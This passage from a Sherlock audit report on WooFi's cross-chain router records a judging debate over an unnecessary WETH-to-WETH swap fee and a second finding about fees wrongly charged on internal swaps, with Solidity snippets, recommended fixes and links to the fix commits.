> I think I undertand where your point comes from, but I think it's wrong for the following reasons.
>
> The way your comment is wrong is that actually if using `sgEth` as `bridgeToken`, even though its a token and thus a swap should be made to WETH and thus charge the fee and thus be valid as you say, even though that, the thing is that bridged `sgEth` doesnt arrive to the `CrossChainRouterV4` contract as a token but already as a native coin in `msg.value`. Thus when using `sgETH` as `bridgeToken` you are, a bit



confusingly, not actually receiving a ERC20 token but native coin. You can see that this is true carefully looking at the code:

When `sgReceive()` is called and `bridgedToken=sgETH` we can see that the value being sent is not actualy sgETH token but pure ETH as `msg.value`.

That is why the code does the following, first in `sgReceive()`:
See code in repo click here Notice the dev team added a comment pointing out what I'm trying to explain here. Click to see.

```
if (bridgedToken == sgInfo.sgETHs(sgInfo.sgChainIdLocal())) {
            //  The comment below this one was added by the dev team and
↪  also informs that when sgETH, native token (coin) is received
            // bridgedToken is SGETH, received native token
            _handleNativeReceived(refId, to, toToken, amountLD,
↪  minToAmount, dst1inch);
}
```

If `sgEth` is used, `_handleNativeReceived()` is called, and then inside `_handleNativeReceived()`:

See code in repo click here

```
) internal {
    address msgSender = _msgSender();

    if (toToken == ETH_PLACEHOLDER_ADDR) {
        // Directly transfer ETH
        TransferHelper.safeTransferETH(to, bridgedAmount);
        emit WooCrossSwapOnDstChain(/*event args*/);
        return;
    }
 // (rest of code...)
```

You can see that the very first action taken is to check if you wanted native coin on destination chain, and if so, transfer it to you and then `return;`. This is because the `sgETH` is sent to the router as already native coin in `msg.value` and not as a token itself.

That is why there is no **sgETH -> WETH** swap and thus the unnecesarry **WETH -> WETH** swap in WooFi will execute as explained in the issue thus charging valid users fees that shouldnt be charged.

The escalation could not be created because you are not exceeding the escalation threshold.

You can view the required number of additional valid issues/judging contest payouts in your Profile page, in the Sherlock webapp.

**WangSecurity**

Escalate

After additional discussions in discord, I admit that there is something I miss about this one. Therefore, escalating on behalf of @CarlosAlegreUr , after he provides additional comments from discord, I will give my reasons why it should remain invalid and leave the decision to the head of judging.

**sherlock-admin2**

> Escalate
>
> After additional discussions in discord, I admit that there is something I miss about this one. Therefore, escalating on behalf of @CarlosAlegreUr , after he provides additional comments from discord, I will give my reasons why it should remain invalid and leave the decision to the head of judging.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

**CarlosAlegreUr**

> Escalate
>
> After additional discussions in discord, I admit that there is something I miss about this one. Therefore, escalating on behalf of @CarlosAlegreUr , after he provides additional comments from discord, I will give my reasons why it should remain invalid and leave the decision to the head of judging.

#95 Final escalation and thanks WangSecurity for your time, effort and kindness.

Summing up discord discussion with WangSecurity (lead judge) and Tapir (another contestant).

There are 4 main reasons why this issue has been considered invalid (from discord chat):

1. To me it looks like design advice honestly. It's a good find honestly, but it's an issue about improving user experience.
2. The loss is small and finite.
3. It's just complicating the code.
4. Using WETH as `toToken` swap might not be a "core" functonality.

I disagree reagarding 1, I potentially agree with number 2 but it depends on how Serlok defines small and finite, I disagree with 3 && 4. The counterarguments and reasons why I disagree are written after the summary of the issue.

---

First lets summarize the issue: The issue is that the user will be charged a fee he shouldn't when chosing to cross-swap `WETH` as `toToken` using `WooPP` as the exchange for the final swap in **dstChain** and `sgEth` as `bridgeToken`.

(from discord chat) Mmmm I will try to explain it again.

First when receiving `sgETH` the contract doesn't receive the ERC20 but diretly receives, from the bridge, native coin through `msg.value`.

Now lets remember the inputs:

`fromToken` => any `birdgeToken` => `sgEth` `toToken` => `WETH` `dst1inch.swapRouter` = WooPP pool

Because `bridgeToken` is `sgETH` the `_handleNativeReceived()` function will be executed as you can see in this if statement here.

Now inside `_handleNativeReceived()` there are two possible main paths, whether you want native coin and this block of code gets executed and transfers `msg.value` to you and returns, OR, the `msg.value` is wrapped up latter to procced with the swap `bridgeToken => toToken`.

Wrap happens after the if, here.

Here is the KEY PART, we are not using 1inch for the swap and we specified WooPP pool as the exchange to use. So this block of code will be executed.

The swap will be `WETH => toToken` as you can see in the next line. But `toToken` can also be WETH.

And as the in the code I added to my original issue, inside the: ***See swap the same `from` and `to` tokens via WooRouterV2*** section. The WooPP pool allows for execution of "same-token" swaps even if they dont make sense. Like our now `WETH => WETH` swap.

In those executions you can see in the code I provided that a fee is also charged in the WooPP pool. This fee is the one that makes no sense to charge to the user as they already have the `toTokend` desired which is `WETH`.

Finally add that this makes sense if you are bridging for example to Arbitrum, a chain supported by the protocol.

The key points you might be missing are:

1. The swap is not done via 1inch but via WooPP pool. And this allows for the "same-token" WETH => WETH unnecessary swap that involves the fee any

swap on WooPP is charged.

2. `sgEth` is given by the bridge to the corss-chain-router, but not as an ERC20 but as native coin through `msg.value`. That is why is later wrapped up to `WETH` to proceed with the swap in case you specified an ERC20 as `toToken`, but this `toToken` can be WETH and then the extra fee is charged.

---

## 1.

(from discrod chat) I don't agree on it is a UX problem. I couldn't find anywhere where it says you can't bridge `WETH` uing `sgETH` as `bridgeToken` using `WooPP` for the destination swap. The only limits on tokens you can use according to the protocol are the ones on their `IntegrationHelper` contract and the ones supported by the external brige they use (Stargate).

And WETH is supported in WooPP pool and can be bridged to Arbitrum (supported by the protocol) via stargate. As you can see in their contract deployed on `getSupportedTokens()`, the WETH Arbitrum address is among them. The only restriction I could find in bridging is that you can't use the native coin as `bridgeToken`, you gotta use sgETH or sgVersion. So, under all restrictions the protocol and team set, this is a valid user interaction which results in loss of funds due to unnecessary fee.

I will make an analogy with a car. If you buy a car and the seller tells you that the car can drive in uneven pavements but then you drive it in uneven pavement made of sand and the car gets some damange then it's not your UX fault because as far as you were told, the car works on uneven pavements. It said nothing about the sand, in fact is a family car and it is expected to probably go on beach holidays some times.

So to sum up I don't agree with the argument that it is a UX problem becaues the developers never said they forbid swapping WETH in their pool or bridging it as `toToken`. In fact all indicates this is expected because WETH is approved as a token to be used in the WooPP and there are no filters for forbiding it in the bridge function either.

## 2.

(from discrod chat) About the it's a small and finite amount. It depends what you consider small and finite. The WooPP pool charges a % fee, and depending on the size of the swap the % might be small but the absolute amount can be considered big.

This is very similar to what I wrote before in issue 97 comment section 2, adapted for this issue would be: My agreement with the argument of small defined loss

depends on how sherlok defines a small finite loss. This could be considered small in terms of percentage as the loss will be as big as the protocols' fee charged for swapping on WooPP pool, which is a small % (lets say 1% or even 0.05%).

Now despite of that a 1% loss on let's imagine a traded amount of 1 million dollars would be 10K of loss which is quite an amount of money to lose (or 5K in the 0.05% case). So idk how Sherlok defines finite small loss, in absolute terms or proportional terms.

If it is in proportional termns then okay it's a small loss, you lost 10K while managing 1 million due to code issues. But if it is absolute terms I do not think 10K or 5K is a small loss.

As it is a percentage of the swapped amount, it can be considered proportionally low. But in absolute terms the amount lost can be seen as big, like the 10K loss explained. Also if we add the time factor, over time, all people using this option of bridging where this swap is unnecesarily done the amount of money lost will be accumulating and can get big. Anyway to sum up, depending on the nuance of how you define small and finite loss I would agree or disagree with the argument.

## 3.

(from discrod chat) I don't think fixing the issue adds a lot of complexity. As it can seen in the ***Recommendation*** section a simple `if` statement would fix the issue. As much, the `if` with a comment saying, if the `toToken` desired was `WETH` there is no need to swap and just send the token.

## 4.

(from discrod chat) I understand as "core functionalities" of this audit: their WooPP pool usage with the sPMM algorithm and cross-chain swaps. This is a valid cross-chain swap. Otherwise why would they bother to add the cross-chain contracts to the audit.

These are all the arguments and counterarguments given on discord for this issue.

**WangSecurity**

Thank you for such an insightful comment!

The reasons why I still think it should remain low since it's essentially works as it should be.

The inputs that the Watson uses in his examples are:

fromToken => any birdgeToken => sgEth toToken => WETH dst1inch.swapRouter = WooPP pool

Therefore, I assume that we charge the fee here as expected since sgETH and WETH are technically different tokens even tho we can say they're quite the same. Therefore, I believe it would be nice to not charge the fee in that case, but I cannot say anything it broken here.

Moreover, I think the rule of financial loss to exceed small and finite amounts can be applied here since it's a small percentage of the swap (but I may be applying it here incorrectly). Therefore, I think it in facts work as expected, but the report is improving the protocol a bit. Don't get me wrong, it's a nice finding, but I don't see it as medium, unfortunately.

I admit that I may be wrong in my assumptions and will take any decision from the head of Judging, but I believe it's not sufficient to be medium (thank you for such and insightful explanation G, it looks very good).

**Czar102**

I believe the current system may work suboptimally with sgETH and WETH, and the recommendation would remove that suboptimal behavior. But design improvements aren't security issues, and I consider this report to be informational.

As @WangSecurity mentioned:

> Therefore, I assume that we charge the fee here as expected since sgETH and WETH are technically different tokens even tho we can say they're quite the same. Therefore, I believe it would be nice to not charge the fee in that case, but I cannot say anything it broken here.

Planning to reject the escalation and leave the issue as is.

**CarlosAlegreUr**

> I believe the current system may work suboptimally with sgETH and WETH, and the recommendation would remove that suboptimal behavior. But design improvements aren't security issues, and I consider this report to be informational.
>
> As @WangSecurity mentioned:
>
> > Therefore, I assume that we charge the fee here as expected since sgETH and WETH are technically different tokens even tho we can say they're quite the same. Therefore, I believe it would be nice to not charge the fee in that case, but I cannot say anything it broken here.
>
> Planning to reject the escalation and leave the issue as is.

@Czar102 and @WangSecurity , thanks for your point of view, but I still don't agree, these are my reasons:

## 1.

When `msg.value` is used, the native coin, lets say ether in **Arbitrum** example. In that case there is no fee charged, even if the native coin ***ether***. We can also say about **ether** to be: "technically different tokens even tho we can say they're quite the same".

Thus we can see that when receiving the same or similar a asset to **sgEth** in **dstChain** no swap is expected to be performed by the code. Thus same would apply to WETH.

## 2.

Lets say that, doesnt matter if they are similar, they are in fact different tokens and a swap fee should be taken. In that case the swap fee taken should be because of a swap `sgETH => WETH`, and not `WETH => WETH`. This is problematic as differnet swaps gather differents amount of fees thus even in this path, the user would be charged something he didn't pay for.

**WooPP** pool does not allow for `sgETH` to be swapped. As we cann see sgEth on Arbitrum is not expected in the supported tokens function mentioned during the dicussions. But even if they indeed supported it, in **WooPP** different tokens have different feeRates so, for example swaping `ValidToken1 => ValidToken2` is no the same as swapping `ValidToken2 => ValidToken3`. So it would actually matter if the swap is `sgETH => WETH` or `WETH => WETH`, thus the code would still be charging incorrect amounts to clients.

In the other hand, in case of using **1inch** same applies, nothing guarantees that the fee charged for a swap `sgETH => WETH` is the same as the fee charged for a swap `WETH => WETH` (if the latter is posible in 1inch) so users would be charged incorrect amount of fees in this case. Although this case `sgETH => WETH` can't be executed because the WETH address is hardoced in both swaps, whether trhough **1inch** or WooPP swap.

## Sum-up

No matter what, the conclusion I take is that fee should not be charged. First because I think the code clearly treats "quite the same" tokens as no need to swap. And second, even if lets say we must swap, the fees would be incorrect.

I don't see it as suboptimal behaviour but as an issue in the code charging fees that it should not charge and that didn't expect.

**Czar102**

@CarlosAlegreUr I don't quite understand your second point. Could you explain it in a different way? Preferably as a short summary?

**CarlosAlegreUr**

> @CarlosAlegreUr I don't quite understand your second point. Could you explain it in a different way? Preferably as a short summary?

@Czar102

So, I don't think a fee should be charged if from bridged `sgEth` we eventually want `WETH` because I think the code is not meant to do that for the reasons mentioned in point **1** in the comment above.

But, assusming your position of a fee should be charged, there would still be a problem. As the swap made in the code would be `WETH => WETH` and not `sgEth => WETH`. The protocol's pool **WooPP** charges different fees for different assets swaped, so the fee for `WETH => WETH` would be different than the fee for `sgEth => WETH`. So, even if we assume a fee should be charged, the code would still be charging incorrect fees. (a similar thing appliess to **1inch** swap)

Thus, `sgEth` as `bridgeToken` and `WETH` as `toToken` would still have incorrect fee behaviour.

**WangSecurity**

Do I understand correctly that when it comes to handleNativeReceive, we skip the first check `if (toToken == ETH_PLACEHOLDER_ADDR)` at L279, cause our toToken is not ETH.

After it at line 299 we wrap msg.value into WETH and then at lines 306 or 349 we swap WETH to WETH, even tho the bridge token was sgETH, the function still wraps it into WETH before swapping into WETH. Correct?

And another question, can you forward to lines of code where it handles swap from sgETH to WETH and WETH to WETH to see how the fees differ (sorry if you already sent it, cannot find).

**CarlosAlegreUr**

> Do I understand correctly that when it comes to handleNativeReceive, we skip the first check `if (toToken == ETH_PLACEHOLDER_ADDR)` at L279, cause our toToken is not ETH.
>
> After it at line 299 we wrap msg.value into WETH and then at lines 306 or 349 we swap WETH to WETH, even tho the bridge token was sgETH, the function still wraps it into WETH before swapping into WETH. Correct?
>
> And another question, can you forward to lines of code where it handles swap from sgETH to WETH and WETH to WETH to see how the fees differ (sorry if you already sent it, cannot find).

Your understanding and description are right indeed.:

> After it at line 299 we wrap msg.value into WETH and then at lines 306 or 349 we swap WETH to WETH, even tho the bridge token > was sgETH, the function still wraps it into WETH before swapping into WETH. Correct?

Second, the code does not do that. I was describing a hypothetical scenario trying to show that even if actually a fee had to be charged, the fee would be incorrect as **WooPP** charges different fees according to the token type. I added a link to the storage variables that handle this: tokenInfos storage, which points to a TokenInfo struct with a feeRate. By the way in `feeRate` don't get confused with the comment nex to it: `// 1 in 100000; 10 = 1bp = 0.01%; max = 65535`, this doesnt mean that the `feeRate` value is 1 in 100000, it is just how devs marked the decimals of precision.

So even in the hypothetical scenario that the code actually expects a swap (which I dont think it does by the resons provided earlier), the fee charged would be incorrect as it would be a `WETH => WETH` swap fee and not a `sgETH => WETH` swap fee.

**WangSecurity**

Then, as I've said earlier the only problem for me here is I don't really see it exceed small and finite amounts. It's not clear how to interpret this rule, cause hypothetically the fee will be around 0.05 - 0.1% as the Watson said earlier. Therefore, it seems to be small amout. But if it's 1M swap then the fee will be quite high, even tho it's only 0.05-0.1%.

Thus, if the head of judging decides that it should be valid, I will agree and accept the decision. I see where incorrect fees are taken the only problem is that I'm unsure we can say it exceeds small and finite amounts as the rules for medium say. Also, I guess it may be considered core functionality break, since we account not the fees we have to account. And for that, I also rely on the head of judging, cause I'm unsure how we should interpret the rules in that specific case.

And for the Watson, thank you for being so polite and calm, giving such thorough responses! It's a pleasure.

**fb-alexcq**

Okay. `toToken` could not be WETH in our server logic, and it won't happen. Also it's pretty hard to manually construct the param and interact with smart contract directly.

However, in technically aspect, when `toToken` is WETH, our current contract will fail the TX, and we need manually refund the user. So the issue posted here makes sense, but I'll let judges decide the priority level.

**WangSecurity**

Based on the comment by the sponsor above, as I understand the issue should

indeed remain low/info since it'll be user mistake. Looping in the watson @CarlosAlegreUr if they can provide their opinion. But based on above, I believe it should remain low.

**CarlosAlegreUr**

> Based on the comment by the sponsor above, as I understand the issue should indeed remain low/info since it'll be user mistake. Looping in the watson @CarlosAlegreUr if they can provide their opinion. But based on above, I believe it should remain low.

Based on @fb-alexcq comments. I understand that their server and/or UI won't have by default the option of **WETH** as `toToken`. So it won't be an worry if the user uses the official site I guess.

So only apps building on top of the protocol would be affected by this as there are no warnings or restrictions in the system's interface, docs or code to the WETH case. And, in my opinion, protocols that build on top of yours are also valid users doing valid actions and in this time, with invalid results.

I don't see it as a user mistake, I see it as a failed promise from the protocol's side that can cost, specially to apps building on top of the protocol, some money. So if user mistake is the reason for it to be a Low, as I don't think it is a user mistake, I don't think it is a Low.

**Evert0x**

Result: Medium Unique

---

Medium as it's clear that ANY token (including WETH) is supported, the unnecessary swap fee (0.05 - 0.1%) is pretty significant loss for users.

**sherlock-admin4**

Escalations have been resolved successfully!

Escalation status:

- WangSecurity: accepted

**WangSecurity**

@CarlosAlegreUr want to again thank you for being very responsive and allocating so much time to correctly resolve this escalation. Great finding honestly, just wasn't sure how to correctly interpret it. Thank you very much again!

**sherlock-admin3**

The protocol team fixed this issue in the following PRs/commits:
https://github.com/woonetwork/WooPoolV2/pull/124

**sherlock-admin2**

The Lead Senior Watson signed off on the fix.

# Issue M-8: In the function _handleERC20Received, the fee was incorrectly charged

Source: https://github.com/sherlock-audit/2024-03-woofi-swap-judging/issues/114

## Found by

Aamirusmani1552, Nyx, aman, charles__cheerful, hals, mstpr-brainbot, petro1912, yotov721, zraxx

## Summary

In the function _handleERC20Received, the fee was incorrectly charged.

## Vulnerability Detail

In the contract, when external swap occurs, a portion of the fee will be charged. However, in function _handleERC20Received, the fee is also charged in internal swap.

```
} else {
    // Deduct the external swap fee
    uint256 fee = (bridgedAmount * dstExternalFeeRate) / FEE_BASE;
    bridgedAmount -= fee;  // @@audit: fee should not be applied to internal swap

    TransferHelper.safeApprove(bridgedToken, address(wooRouter), bridgedAmount);
    if (dst1inch.swapRouter != address(0)) {
        try
            wooRouter.externalSwap(
```

At the same time, when the internal swap fails, this part of the fee will not be returned to the user.

## Impact

Internal swaps are incorrectly charged, and fees are not refunded when internal swap fail.

## Code Snippet

https://github.com/sherlock-audit/2024-03-woofi-swap/blob/main/WooPoolV2/contracts/CrossChain/WooCrossChainRouterV4.sol#L412-L414



SHERLOCK

https://github.com/sherlock-audit/2024-03-woofi-swap/blob/main/WooPoolV2/contracts/CrossChain/WooCrossChainRouterV4.sol#L478

## Tool used

Manual Review

## Recommendation

Apply fee calculation only to external swaps.

```
function _handleERC20Received(
    uint256 refId,
    address to,
    address toToken,
    address bridgedToken,
    uint256 bridgedAmount,
    uint256 minToAmount,
    Dst1inch memory dst1inch
) internal {
    address msgSender = _msgSender();

    // ...

    } else {
        if (dst1inch.swapRouter != address(0)) {
            // Deduct the external swap fee
            uint256 fee = (bridgedAmount * dstExternalFeeRate) / FEE_BASE;
            bridgedAmount -= fee;

            TransferHelper.safeApprove(bridgedToken, address(wooRouter),
↪   bridgedAmount);
            try
                wooRouter.externalSwap(
                    // ...
                )
            returns (uint256 realToAmount) {
                emit WooCrossSwapOnDstChain(
                    // ...
                );
            } catch {
                bridgedAmount += fee;
                TransferHelper.safeTransfer(bridgedToken, to, bridgedAmount);
                emit WooCrossSwapOnDstChain(
                    // ...
                );
```



SHERLOCK

```
            }
        } else {
            TransferHelper.safeApprove(bridgedToken, address(wooRouter),
↪   bridgedAmount);
            try wooRouter.swap(bridgedToken, toToken, bridgedAmount,
↪   minToAmount, payable(to), to) returns (
                uint256 realToAmount
            ) {
               // ...
            } catch {
                // ...
            }
        }
    }
}
```

## Discussion

**sherlock-admin4**

The protocol team fixed this issue in the following PRs/commits: https://github.com/woonetwork/WooPoolV2/pull/112/commits/be8655bf5d9660684eff1e2c12ff5d140fddc474

**sherlock-admin2**

The Lead Senior Watson signed off on the fix.



# Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.